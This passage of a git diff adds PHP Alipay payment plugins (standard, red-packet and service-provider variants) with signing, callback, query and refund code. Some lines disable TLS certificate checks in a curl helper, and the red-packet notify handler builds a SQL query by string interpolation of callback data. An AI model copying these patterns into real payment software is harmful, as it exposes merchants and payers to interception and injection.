JSON_UNESCAPED_UNICODE), true); + } + + public static function getMillisecond() + { + list($s1, $s2) = explode(' ', microtime()); + return sprintf('%.0f', (floatval($s1) + floatval($s2)) * 1000); + } + + //使用商户私钥签名 + private function rsaPrivateSign($data, $signType = 'RSA2'){ + $priKey = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->private_key, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $res = openssl_get_privatekey($priKey); + if(!$res){ + throw new Exception('签名失败,商户私钥不正确'); + } + + if($signType == 'RSA2'){ + openssl_sign($data, $sign, $res, OPENSSL_ALGO_SHA256); + }else{ + openssl_sign($data, $sign, $res); + } + openssl_free_key($res); + return base64_encode($sign); + } + + //使用支付宝公钥验签 + private function rsaPubilcVerify($data, $sign, $signType = 'RSA2'){ + $pubKey = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->ali_public_key, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $res = openssl_get_publickey($pubKey); + if(!$res){ + throw new Exception('验签失败,支付宝公钥不正确'); + } + + if($signType == 'RSA2'){ + $result = openssl_verify($data, base64_decode($sign), $res, OPENSSL_ALGO_SHA256); + }else{ + $result = openssl_verify($data, base64_decode($sign), $res); + } + openssl_free_key($res); + return $result === 1; + } + + private function curl($url, $post = false, $timeout = 10){ + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Connection: close"; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + if($post){ + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $post); + } + $response = curl_exec($ch); + curl_close($ch); + return $response; + } +} \ No newline at end of file diff --git a/plugins/alipayg/inc/config.php b/plugins/alipayg/inc/config.php new file mode 100644 index 0000000..aef2447 --- /dev/null +++ b/plugins/alipayg/inc/config.php @@ -0,0 +1,12 @@ + $channel['appid'], + + //MD5密钥 + 'key' => $channel['appkey'], + + //签名方式 + 'sign_type' => 'MD5', +]; +return $alipay_config; \ No newline at end of file diff --git a/plugins/alipayg/select.page.php b/plugins/alipayg/select.page.php new file mode 100644 index 0000000..c2c477d --- /dev/null +++ b/plugins/alipayg/select.page.php @@ -0,0 +1,89 @@ + + + + + + + + +支付宝支付 + + + + +
    +

    +支付宝支付 +

    +
    +
    +
    +
    ¥
    +
    +
    请选择付款APP
    +
    Please select your wallet region
    + +
    +
    +
    +
    +
    购买物品
    +
    +
    商户订单号
    +
    +
    创建时间
    +
    +
    +
    +
    + + +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/plugins/alipayrp/alipayrp_plugin.php b/plugins/alipayrp/alipayrp_plugin.php new file mode 100644 index 0000000..f6dce2a --- /dev/null +++ b/plugins/alipayrp/alipayrp_plugin.php @@ -0,0 +1,190 @@ + 'alipayrp', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '支付宝现金红包', //支付插件显示名称 + 'author' => '支付宝', //支付插件作者 + 'link' => 'https://b.alipay.com/signing/productSetV2.htm', //支付插件作者链接 + 'types' => ['alipay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '应用APPID', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '应用私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '收款方支付宝UID', + 'type' => 'input', + 'note' => '留空则使用商户绑定的支付宝UID', + ], + ], + 'note' => '

    需要签约支付宝现金红包才能使用!

    使用公钥证书模式,需将应用公钥证书、支付宝公钥证书、支付宝根证书3个crt文件放置于/plugins/alipayrp/cert/文件夹(或/plugins/alipayrp/cert/应用APPID/文件夹)

    订阅“资金单据状态变更通知”,应用网关地址:[siteurl]pay/notify/[channel]/

    ', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $submit2; + + if(checkalipay()){ + return ['type'=>'jump','url'=>'/pay/pagepay/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $mdevice; + if($mdevice=='alipay'){ + return ['type'=>'jump','url'=>'/pay/pagepay/'.TRADE_NO.'/?d=1']; + }else{ + return self::qrcode(); + } + } + + static private function getPayee(){ + global $order, $channel, $DB; + + if(!empty($channel['appmchid'])) return $channel['appmchid']; + $alipay_uid = $DB->findColumn('user', 'alipay_uid', ['uid'=>$order['uid']]); + return $alipay_uid; + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $order, $DB; + + if(empty(self::getPayee())){ + return ['type'=>'error','msg'=>'当前商户未绑定支付宝账号']; + } + + $code_url = $siteurl.'pay/pagepay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //红包转账页面支付 + static public function pagepay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + [$user_type, $user_id] = alipay_oauth($alipay_config); + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_biz_no' => TRADE_NO, + 'trans_amount' => $order['realmoney'], + 'product_code' => 'STD_RED_PACKET', + 'biz_scene' => 'PERSONAL_PAY', + 'order_title' => $ordername, + 'business_params' => json_encode(['sub_biz_scene'=>'REDPACKET','payer_binded_alipay_uid'=>$user_id], JSON_UNESCAPED_UNICODE) + ]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->transAppPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //订单查询 + static public function query($trade_no){ + global $order, $channel; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $bizContent = [ + 'product_code' => 'STD_RED_PACKET', + 'biz_scene' => 'PERSONAL_PAY', + 'out_biz_no' => $trade_no + ]; + try{ + $aop = new \Alipay\AlipayTransferService($alipay_config); + $result = $aop->aopExecute('alipay.fund.trans.common.query', $bizContent); + print_r($result); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'订单查询失败!'.$e->getMessage()]; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //异步回调 + static public function notify(){ + global $channel, $order, $DB, $conf; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTransferService($alipay_config); + + $verify_result = $aop->check($_POST); + if($verify_result) { + if($_POST['msg_method'] == 'alipay.fund.trans.order.changed'){ + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && $bizContent['product_code'] == 'STD_RED_PACKET' && $bizContent['biz_scene'] == 'PERSONAL_PAY'){ + $out_trade_no = $bizContent['out_biz_no']; //商户订单号 + $order_id = $bizContent['order_id']; //支付宝转账单据号 + $trans_amount = $bizContent['trans_amount']; //转账金额 + + $order = $DB->getRow("SELECT * FROM pre_order WHERE trade_no='$out_trade_no' limit 1"); + if($order && $bizContent['status'] == 'SUCCESS'){ + if($order['settle']<=1){ + usleep(300000); + $out_biz_no = date("YmdHis").rand(11111,99999); + $payee_user_id = self::getPayee(); + try{ + $aop->redPacketTansfer($out_biz_no, $trans_amount, $payee_user_id, $conf['sitename'], $order_id); + $order['settle'] = 2; + }catch(Exception $e){ + $aop->writeLog('redPacketTansfer:'.$e->getMessage()); + $order['settle'] = 3; + } + } + processNotify($order, $order_id); + } + } + } + return ['type'=>'html','data'=>'success']; + } + else { + return ['type'=>'html','data'=>'fail']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $out_biz_no = date("YmdHis").rand(11111,99999); + try{ + $aop = new \Alipay\AlipayTransferService($alipay_config); + $result = $aop->redPacketRefund($out_biz_no, $order['api_trade_no'], $order['refundmoney']); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return ['code'=>0, 'trade_no'=>$result['refund_order_id'], 'refund_fee'=>$result['refund_amount'], 'refund_time'=>$result['refund_date']]; + } + +} \ No newline at end of file diff --git a/plugins/alipayrp/inc/config.php b/plugins/alipayrp/inc/config.php new file mode 100644 index 0000000..dacc2f9 --- /dev/null +++ b/plugins/alipayrp/inc/config.php @@ -0,0 +1,38 @@ + $channel['appid'], + + //支付宝公钥 + 'alipay_public_key' => $channel['appkey'], + + //应用私钥 + 'app_private_key' => $channel['appsecret'], + + //子商户SMID + 'smid' => $channel['appmchid'], + + //签名方式,默认为RSA2 + 'sign_type' => "RSA2", + + //编码格式 + 'charset' => "UTF-8", + + //支付宝网关 + 'gateway_url' => "https://openapi.alipay.com/gateway.do", + + //日志记录位置 + 'log_path' => dirname(__FILE__).'/log/', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayRootCert.crt'; +} +elseif(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayRootCert.crt'; +} +return $alipay_config; \ No newline at end of file diff --git a/plugins/alipaysl/alipaysl_plugin.php b/plugins/alipaysl/alipaysl_plugin.php new file mode 100644 index 0000000..ef96208 --- /dev/null +++ b/plugins/alipaysl/alipaysl_plugin.php @@ -0,0 +1,776 @@ + 'alipaysl', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '支付宝官方支付服务商版', //支付插件显示名称 + 'author' => '支付宝', //支付插件作者 + 'link' => 'https://b.alipay.com/signing/productSetV2.htm', //支付插件作者链接 + 'types' => ['alipay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '应用APPID', + 'type' => 'input', + 'note' => '必须使用第三方应用', + ], + 'appkey' => [ + 'name' => '支付宝公钥', + 'type' => 'textarea', + 'note' => '填错也可以支付成功但会无法回调,如果用公钥证书模式此处留空', + ], + 'appsecret' => [ + 'name' => '应用私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户授权token', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => '电脑网站支付', + '2' => '手机网站支付', + '3' => '当面付扫码', + '4' => '当面付JS', + '5' => '预授权支付', + '6' => 'APP支付', + '7' => 'JSAPI支付', + '8' => '订单码支付', + ], + 'note' => '

    在支付宝服务商后台进件后可获取到子商户的授权链接,子商户访问之后即可得到商户授权token。

    如果使用公钥证书模式,需将应用公钥证书、支付宝公钥证书、支付宝根证书3个crt文件放置于/plugins/alipaysl/cert/文件夹(或/plugins/alipaysl/cert/应用APPID/文件夹)

    ', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf, $clientip; + + $isMobile = checkmobile(); + $isAlipay = checkalipay(); + if($isAlipay && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/?d=1']; + } + return ['type'=>'jump','url'=>'/pay/jspay/'.TRADE_NO.'/?d=1']; + } + elseif($isMobile && (in_array('3',$channel['apptype'])||in_array('4',$channel['apptype'])||in_array('8',$channel['apptype'])) && !in_array('2',$channel['apptype']) || !$isMobile && !in_array('1',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + else{ + + if(checkwechat()){ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/submit/'.TRADE_NO.'/']; + } + + if($isMobile && in_array('2',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1){ + if($isAlipay){ + return ['type'=>'jump','url'=>'/pay/submitwap/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->wapPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + }elseif(in_array('1',$channel['apptype'])){ + if($conf['alipay_paymode'] == 1 || $isMobile){ + return ['type'=>'jump','url'=>'/pay/qrcodepc/'.TRADE_NO.'/']; + } + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->pagePay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + }elseif(in_array('6',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1 && !$isAlipay || $isMobile && !$isAlipay){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + return ['type'=>'jump','url'=>'/pay/apppay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('7',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/minipay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('5',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1 && !$isAlipay){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + return ['type'=>'jump','url'=>'/pay/preauth/'.TRADE_NO.'/?d=1']; + } + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method=='app'){ + return self::apppay(); + } + elseif($method=='jsapi'){ + if(in_array('7',$channel['apptype'])){ + return self::jsapipay(); + }else{ + return self::jspay(); + } + }elseif($method=='scan'){ + return self::scanpay(); + } + elseif($mdevice=='alipay' && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/?d=1']; + } + return ['type'=>'jump','url'=>$siteurl.'pay/jspay/'.TRADE_NO.'/?d=1']; + } + elseif($device=='mobile' && (in_array('3',$channel['apptype'])||in_array('4',$channel['apptype'])||in_array('8',$channel['apptype'])) && !in_array('2',$channel['apptype']) || $device=='pc' && !in_array('1',$channel['apptype'])){ + return self::qrcode(); + }else{ + + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/submit/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + } + } + + //电脑网站支付扫码 + static public function qrcodepc(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(checkmobile()){ + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $alipay_config['pageMethod'] = '2'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'qr_pay_mode' => '4' + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $url = $aop->pagePay($bizContent); + $html = get_curl($url, 0, 0, 0, 0, 0, 0, 0, 1); + $html = mb_convert_encoding($html, 'utf-8', 'gbk'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + if(preg_match('!'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }else{ + return ['type'=>'error','msg'=>'支付宝下单失败!获取二维码失败']; + } + + }else{ + $code_url = '/pay/submitpc/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'alipay_qrcodepc','url'=>$code_url]; + } + } + + //电脑网站支付扫码跳转 + static public function submitpc(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'qr_pay_mode' => '4', + 'qrcode_width' => '230' + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->pagePay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + $html = '
    '.$html.''; + return ['type'=>'html','data'=>$html]; + } + + //手机网站支付扫码跳转 + static public function submitwap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + if($_GET['d']=='1'){ + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + }else{ + $alipay_config['return_url'] = $siteurl.'pay/ok/'.TRADE_NO.'/'; + } + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->wapPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + if(!in_array('3',$channel['apptype']) && in_array('2',$channel['apptype'])){ + $code_url = $siteurl.'pay/submitwap/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/submitwap/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('4',$channel['apptype'])){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('6',$channel['apptype'])){ + $code_url = $siteurl.'pay/apppay/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/apppay/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('7',$channel['apptype'])){ + $code_url = $siteurl.'pay/minipay/'.TRADE_NO.'/'; + }elseif(!in_array('3',$channel['apptype']) && in_array('5',$channel['apptype'])){ + $code_url = $siteurl.'pay/preauth/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/preauth/'.TRADE_NO.'/'; + } + }else{ + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + if(!in_array('3',$channel['apptype']) && in_array('8',$channel['apptype'])){ + $bizContent['product_code'] = 'QR_CODE_OFFLINE'; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->qrPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $code_url = $result['qr_code']; + + } + if(checkalipay() && $order['tid']==3){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->appPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //预授权支付 + static public function preauth(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/preauthnotify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_order_no' => TRADE_NO, + 'out_request_no' => TRADE_NO, + 'order_title' => $ordername, + 'amount' => $order['realmoney'], + 'product_code' => 'PREAUTH_PAY' + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->preAuthFreeze($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //当面付JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if(!empty($order['sub_openid'])){ + $user_id = $order['sub_openid']; + $user_type = is_numeric($user_id) && substr($user_id, 0, 4) == '2088' ? 'userid' : 'openid'; + }else{ + [$user_type, $user_id] = alipay_oauth($alipay_config); + } + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + if($user_type == 'userid'){ + $bizContent['buyer_id'] = $user_id; + }else{ + $bizContent['buyer_open_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->jsPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $alipay_trade_no = $result['trade_no']; + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$alipay_trade_no]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$alipay_trade_no, 'redirect_url'=>$redirect_url]]; + } + + //JSAPI支付 + static public function jsapipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $user_id = $order['sub_openid']; + $user_type = is_numeric($user_id) && substr($user_id, 0, 4) == '2088' ? 'userid' : 'openid'; + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'JSAPI_PAY', + 'op_app_id' => $order['sub_appid'] ? $order['sub_appid'] : $alipay_config['app_id'] + ]; + if($user_type == 'openid'){ + $bizContent['buyer_open_id'] = $user_id; + }else{ + $bizContent['buyer_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->jsPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $alipay_trade_no = $result['trade_no']; + return ['type'=>'jsapi','data'=>$alipay_trade_no]; + } + + //支付宝小程序支付 + static public function alipaymini(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $auth_code = isset($_GET['auth_code'])?trim($_GET['auth_code']):exit('{"code":-1,"msg":"auth_code不能为空"}'); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + + try{ + [$app_id, $user_type, $user_id] = alipay_mini_oauth($auth_code, $alipay_config); + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>$e->getMessage()])); + } + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + $bizContent = [ + 'out_trade_no' => 